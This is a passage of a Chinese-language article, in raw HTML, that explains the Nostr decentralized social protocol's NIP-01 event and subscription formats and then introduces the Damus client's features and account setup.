Arial, Helvetica, sans-serif;"><br/></span></p><p style="margin-right: 0pt;margin-left: 0pt;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="color: rgb(84, 84, 84);font-size: 10.5pt;letter-spacing: 1px;">从realy到client的操作有两种：</span></strong><span style="color: rgb(84, 84, 84);font-size: 10.5pt;letter-spacing: 1px;"><o:p></o:p></span></span></p><p style="margin-right: 0pt;margin-left: 0pt;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-size: 10.5pt;font-family: Arial, Helvetica, sans-serif;">a. event:返回client所订阅的信息<o:p></o:p></span></p><p style="margin-right: 0pt;margin-left: 0pt;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-size: 10.5pt;">b. notice:返回relay所定义的任何信息内容</span><span style="font-size: 10.5pt;"><o:p></o:p></span></span></p></section></section><section style="width: 128px;height: 97px;display: flex;justify-content: center;align-items: center;align-self: flex-end;margin-top: -50px;margin-right: -50px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="0.5987654320987654" data-w="324" src="https://wechat2rss.xlab.app/img-proxy/?k=f5d56ed6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fkc5nC7PVuESh9I5f0gCaaCvQbkkvicIwhabRQmsqeuiaDic9LLECkBGXA3Oq8gmGELiamkAdbZhmQr0piaek8icGoKpQ%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">nostr</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">提出了一个类似于以太坊</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">EIP</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">提案的机制</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">NIP</span>。<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">在初版</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">NIP</span></span>-01<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">中就上述操作协议制定了相关的规则。</span><o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">event</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">：签名发布信息，用户在想要发布信息时，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">使用本地的私钥对想要发布的信息内容</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">content</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">进行签名</span>，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">最终生成如下的</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">json</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">类型数据</span>：</span></span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="json"><section style="margin-top: 16px;"><code><span class="code-snippet_outer"><span style="font-family: Arial, Helvetica, sans-serif;">{</span></span></code><code><span class="code-snippet_outer"><span style="font-family: Arial, Helvetica, sans-serif;">&#34;id&#34;:&lt;结构化数据的hash&gt;</span></span></code><code><span class="code-snippet_outer"><span style="font-family: Arial, Helvetica, sans-serif;">&#34;pubkey&#34;:&lt;公钥&gt;</span></span></code><code><span class="code-snippet_outer"><span style="font-family: Arial, Helvetica, sans-serif;">&#34;created_at&#34;:&lt;创建时间，时间戳格式&gt;</span></span></code><code><span class="code-snippet_outer"><span style="font-family: Arial, Helvetica, sans-serif;">&#34;kind&#34;:&lt;种类&gt;</span></span></code><code><span class="code-snippet_outer"><span style="font-family: Arial, Helvetica, sans-serif;">&#34;tags&#34;:[</span></span></code><code><span class="code-snippet_outer"><span style="font-family: Arial, Helvetica, sans-serif;">        [&#34;e&#34;,&lt;其他事件id&gt;,&lt;推荐的中继器url&gt;],</span></span></code><code><span class="code-snippet_outer"><span style="font-family: Arial, Helvetica, sans-serif;">        [&#34;p&#34;,&lt;推荐的中继器url&gt;]</span></span></code><code><span class="code-snippet_outer"><span style="font-family: Arial, Helvetica, sans-serif;">    ]</span></span></code><code><span class="code-snippet_outer"><span style="font-family: Arial, Helvetica, sans-serif;">&#34;content&#34;:&lt;消息内容字符串&gt;</span></span></code><code><span class="code-snippet_outer"><span style="font-family: Arial, Helvetica, sans-serif;">&#34;sig&#34;:&lt;序列化事件数据的sha256 hash的64字节签名&gt;</span></span></code><code><span class="code-snippet_outer"><span style="font-family: Arial, Helvetica, sans-serif;">}</span></span></code></section></pre></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">req</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">：<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">向中继器</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">relay</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">发送一个随机</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">id</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">作为订阅</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">id</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">以及一个过滤器信息</span>，</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">NIP</span>-01<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">设定如下：</span><o:p></o:p></span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><section style="margin-top: 16px;"><code><span class="code-snippet_outer"><span style="font-family: Arial, Helvetica, sans-serif;">{</span></span></code><code><span class="code-snippet_outer"><span style="font-family: Arial, Helvetica, sans-serif;">&#34;ids&#34;:&lt;事件id的列表&gt;</span></span></code><code><span class="code-snippet_outer"><span style="font-family: Arial, Helvetica, sans-serif;">&#34;authors&#34;:&lt;公钥列表，必须项&gt;</span></span></code><code><span class="code-snippet_outer"><span style="font-family: Arial, Helvetica, sans-serif;">&#34;kind&#34;:&lt;种类列表，频道&gt;</span></span></code><code><span class="code-snippet_outer"><span style="font-family: Arial, Helvetica, sans-serif;">&#34;#e&#34;:&lt;e标签中的事件id列表&gt;</span></span></code><code><span class="code-snippet_outer"><span style="font-family: Arial, Helvetica, sans-serif;">&#34;#p&#34;:&lt;p标签中的公钥列表&gt;</span></span></code><code><span class="code-snippet_outer"><span style="font-family: Arial, Helvetica, sans-serif;">&#34;since&#34;:&lt;时间戳，筛选之后的&gt;</span></span></code><code><span class="code-snippet_outer"><span style="font-family: Arial, Helvetica, sans-serif;">&#34;until&#34;:&lt;时间戳，筛选之前的&gt;</span></span></code><code><span class="code-snippet_outer"><span style="font-family: Arial, Helvetica, sans-serif;">&#34;limit&#34;:&lt;要返回的最大事件数&gt;</span></span></code><code><span class="code-snippet_outer"><span style="font-family: Arial, Helvetica, sans-serif;">}</span></span></code></section></pre></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Arial, Helvetica, sans-serif;letter-spacing: 1px;">可以看到，这样的筛选条件相当于传统社交平台中的关注功能，在无需对方许可的情况下请求订阅对象的基本信息，过滤器即为过滤相应的时间段。<br/></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">但需要注意的是中继器的设计方案注定其不一定存储目标用户的信息，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);">client</span>需要持续不断的请求不同的中继器，一旦所有的中继器宕机，此部分的信息也就消失了。</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">close</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">：很好理解的关闭操作，即取消订阅消息，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">client</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">也就不会从</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">relay</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">中请求最新的事件信息</span>。</span><o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">根据</span> nostr.io <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">的数据显示，截止至 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">2023 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">年 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">2 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">月 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">7 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">日，的公钥数量为 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">530,600</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">，拥有的中继端为 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">295 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">个，事件（</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">event</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">）超过 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">126 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">万。</span></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.57421875" data-s="300,640" style="border-radius: 9px;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=2d1c0112&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7uhGjvSl4aQ8HzEBuxuHrthdw6nD8vibXbhALjjV3Ny3icaSrkD1066sw%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><br/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">2022<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">年</span>2<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">月初</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Damus</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">成功上线</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Apple</span></span> <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Store</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">该</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">app</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">即为</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">nostr</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">网络中的</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">client</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">部分</span>，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">目前</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">nostr</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">官网已经推出了许多平台</span>。</span></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="204" data-backw="578" data-ratio="0.3541501976284585" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1265" src="https://wechat2rss.xlab.app/img-proxy/?k=f673636a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7KdgWo7XMMics8Rgef1oibtVT4RRUpyqvTMHVpwFAzYZcdc7Qjjb4uJ4A%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><br/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">这些不同的<span style="font-size: 14px;letter-spacing: 1px;color: rgb(84, 84, 84);">client</span>实现比对如下所示：</span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="674" data-backw="578" data-ratio="1.16625" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="800" src="https://wechat2rss.xlab.app/img-proxy/?k=ea915af4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7uDrelTRqjK9O3Yq43fBiaQCJ8oVju6NeYhEjXQlNkXazQRaVXWj5aOQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><br/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">其中较为受欢迎的<span style="font-size: 14px;letter-spacing: 1px;color: rgb(84, 84, 84);">Damus </span>是一款基于去中心化社交协议 <span style="font-size: 14px;letter-spacing: 1px;color: rgb(84, 84, 84);">Nostr </span>的应用，其将定位为“<span style="font-size: 14px;letter-spacing: 1px;color: rgb(84, 84, 84);">The social network you control</span>”，意为用户可以掌控自己的社交网络，体现了 <span style="font-size: 14px;letter-spacing: 1px;color: rgb(84, 84, 84);">Web3.0 </span>强调的精神内核。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">就产品功能而言，用户可以在广场发布内容、发送信息私聊、进行闪电网络支付。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">该产品的特点为：</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="color: rgb(84, 84, 84);"><strong><span style="font-size: 14px;letter-spacing: 1px;">a) <span style="font-size: 14px;">无需注册：</span></span></strong></span><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"><span style="color: rgb(84, 84, 84);font-size: 14px;">用户只需要填写昵称，即可生成一对公私钥而无需使用邮箱等注册登陆。之后用户可以基于公钥搜索关注好友。</span><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-size: 14px;"><strong>b) 用户所有：</strong></span><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"><span style="color: rgb(84, 84, 84);font-size: 14px;">具有抗审查的特性，用户可以控制自己的数据。</span><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-size: 14px;"><strong>c) 加密对话：</strong></span><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"><span style="color: rgb(84, 84, 84);font-size: 14px;">端到端的私信信息传递。</span><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-size: 14px;"><strong>d) 无需服务器：</strong></span><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"><span style="color: rgb(84, 84, 84);font-size: 14px;">消息通过分布式的中继端分发，无需运行任何基础设施，也没有单点故障。每一条贴文都有一个独特的 </span><span style="color: rgb(84, 84, 84);font-size: 14px;">Note ID</span><span style="color: rgb(84, 84, 84);font-size: 14px;">，复制之后同样可以在搜索页面输入直达。</span><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-size: 14px;"><strong>e) 可编程：</strong></span><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"><span style="color: rgb(84, 84, 84);font-size: 14px;">允许轻松集成机器人。</span><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-size: 14px;"><strong>f) 可获取收入：</strong></span><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"><span style="color: rgb(84, 84, 84);font-size: 14px;">用户可以运用比特币闪电网络功能进行支付打赏。当前支持的闪电消费支付平台包括 </span><span style="color: rgb(84, 84, 84);font-size: 14px;">Strike</span><span style="color: rgb(84, 84, 84);font-size: 14px;">、</span><span style="color: rgb(84, 84, 84);font-size: 14px;">Cash App</span><span style="color: rgb(84, 84, 84);font-size: 14px;">、</span><span style="color: rgb(84, 84, 84);font-size: 14px;">Muun</span><span style="color: rgb(84, 84, 84);font-size: 14px;">、</span><span style="color: rgb(84, 84, 84);font-size: 14px;">Blue Wallet</span><span style="color: rgb(84, 84, 84);font-size: 14px;">、</span><span style="color: rgb(84, 84, 84);font-size: 14px;">Wallet of Satoshi</span><span style="color: rgb(84, 84, 84);font-size: 14px;">、</span><span style="color: rgb(84, 84, 84);font-size: 14px;">Zebedee</span><span style="color: rgb(84, 84, 84);font-size: 14px;">、</span><span style="color: rgb(84, 84, 84);font-size: 14px;">Zeus LN</span><span style="color: rgb(84, 84, 84);font-size: 14px;">、</span><span style="color: rgb(84, 84, 84);font-size: 14px;">LNLink</span><span style="color: rgb(84, 84, 84);font-size: 14px;">、</span><span style="color: rgb(84, 84, 84);font-size: 14px;">Phoenix</span><span style="color: rgb(84, 84, 84);font-size: 14px;">、</span><span style="color: rgb(84, 84, 84);font-size: 14px;">Breez</span><span style="color: rgb(84, 84, 84);font-size: 14px;">、</span><span style="color: rgb(84, 84, 84);font-size: 14px;">Bitcoin Beach</span><span style="color: rgb(84, 84, 84);font-size: 14px;">、</span><span style="color: rgb(84, 84, 84);font-size: 14px;">Blixt Wallet</span><span style="color: rgb(84, 84, 84);font-size: 14px;">、</span><span style="color: rgb(84, 84, 84);font-size: 14px;">River</span><span style="color: rgb(84, 84, 84);font-size: 14px;">。</span><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">此处笔者简单展示<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Damus</span>的使用方式，目前<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Damus</span>仅支持苹果旗下产品使用</span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2904498816101026" data-s="300,640" style="" data-type="png" data-w="1267" src="https://wechat2rss.xlab.app/img-proxy/?k=2f5342b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7jGs3vvKqHiavfX9PsPCdBkRslb6UcMTuYmlCzZibFYibdiaN8Tuj51ClKQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Appstore</span>中下载<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Damus</span>并打开<o:p></o:p></span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="1251" data-backw="578" data-ratio="2.1642512077294684" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="828" src="https://wechat2rss.xlab.app/img-proxy/?k=30e9cbf4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia79ANqfzVmzSWqKWMI5cHrOyhBx1tTxK8ekWQYPicAQoaM2QchM3Jax1Q%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">创建账户</span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="1251" data-backw="578" data-ratio="2.1642512077294684" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="828" src="https://wechat2rss.xlab.app/img-proxy/?k=ca6f12db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7aDr4yia20BwhUcPl2VQ05AbbeYhwDxyRfFAE9EfCH9VBRFbv3Wmw6ZA%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Arial, Helvetica, sans-serif;letter-spacing: 1px;">同意用户条款</span><br/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="1190" data-backw="550" data-ratio="2.1642512077294684" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="828" src="https://wechat2rss.xlab.app/img-proxy/?k=5220ec24&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7dNxwhfNSsLkjichZw0C3e3svVBdMmKUgpryaSqfpyewsRmk8FfjxCoQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;font-family: Arial, Helvetica, sans-serif;"> 创建你自己的用户名和昵称</span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="2.1642512077294684" data-s="300,640" style="" data-type="png" data-w="828" src="https://wechat2rss.xlab.app/img-proxy/?k=ead8a7f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia74eXhDjHIOTpAzAkFd3tliacTVkxUEmHDnQjlAZMKia4G26Ju66eYcTgw%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">这里就是最关键的步骤，Damus会给到你两个密钥，公钥也就是你展示给他人用于识别你身份的唯一长字符串，而下面的私钥就是保管你这个账户的唯一凭证也就是我们所理解的“密码”，保管好你的私钥因为在web</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">3</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;">中并没有中心化存储能够让你存储找回密码的问题或者其他程序资料。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">在保管好你的私钥后就可以在<span style="color: rgb(84, 84, 84);letter-spacing: 1px;">Damus</span>上浏览内容了。</span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="2.1642512077294684" data-s="300,640" style="" data-type="png" data-w="828" src="https://wechat2rss.xlab.app/img-proxy/?k=d59ecb92&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7qrPKDb9L3wnnWZZetYvRhEWHnCyctGCAjnndNlAJ697KpyxHJI0Yhg%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><br/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">从功能上来说，</span>Damus <span style="letter-spacing: 1px;color: rgb(84, 84, 